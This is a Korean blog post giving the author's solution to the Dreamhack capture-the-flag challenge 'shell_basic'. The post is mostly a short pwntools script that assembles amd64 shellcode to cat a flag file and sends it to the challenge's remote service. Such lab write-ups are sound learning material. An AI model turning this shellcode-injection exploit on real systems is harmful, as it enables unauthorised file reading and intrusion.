Dreamhack 문제 풀이 - shell_basic
- 보안/문제풀이
- 2022. 3. 18.
쉘코드를 직접 다루어 본적이 없어 많이 헤맸다. 여러 방법을 시도하다가 결국에는 pwntools를 이용했다.
pwntools의 AMD64 아키텍처 Shell Code 목록
https://docs.pwntools.com/en/stable/shellcraft/amd64.html
풀이
from pwn import *
context.arch = 'amd64'
filename = '/home/shell_basic/flag_name_is_loooooong'
code = shellcraft.linux.cat(filename)
p = remote("host2.dreamhack.games", 13631)
p.recvuntil('shellcode: ')
p.sendline(asm(code))
data = p.recv(1024)
print(data)
sendlineafter를 사용하니 정상 작동하지 않음.
그리고 다른 풀이들처럼 ORW를 이용해도 상관 없다. 출제자의 의도는 ORW를 사용하는 것일지 모르겠으나 기본적인 어셈블리 코드를 이해하고 pwntools 사용법만 익힐 수 있다면 뭐든 좋을 듯. 덕분에 pwntools 사용법을 많이 익혔다..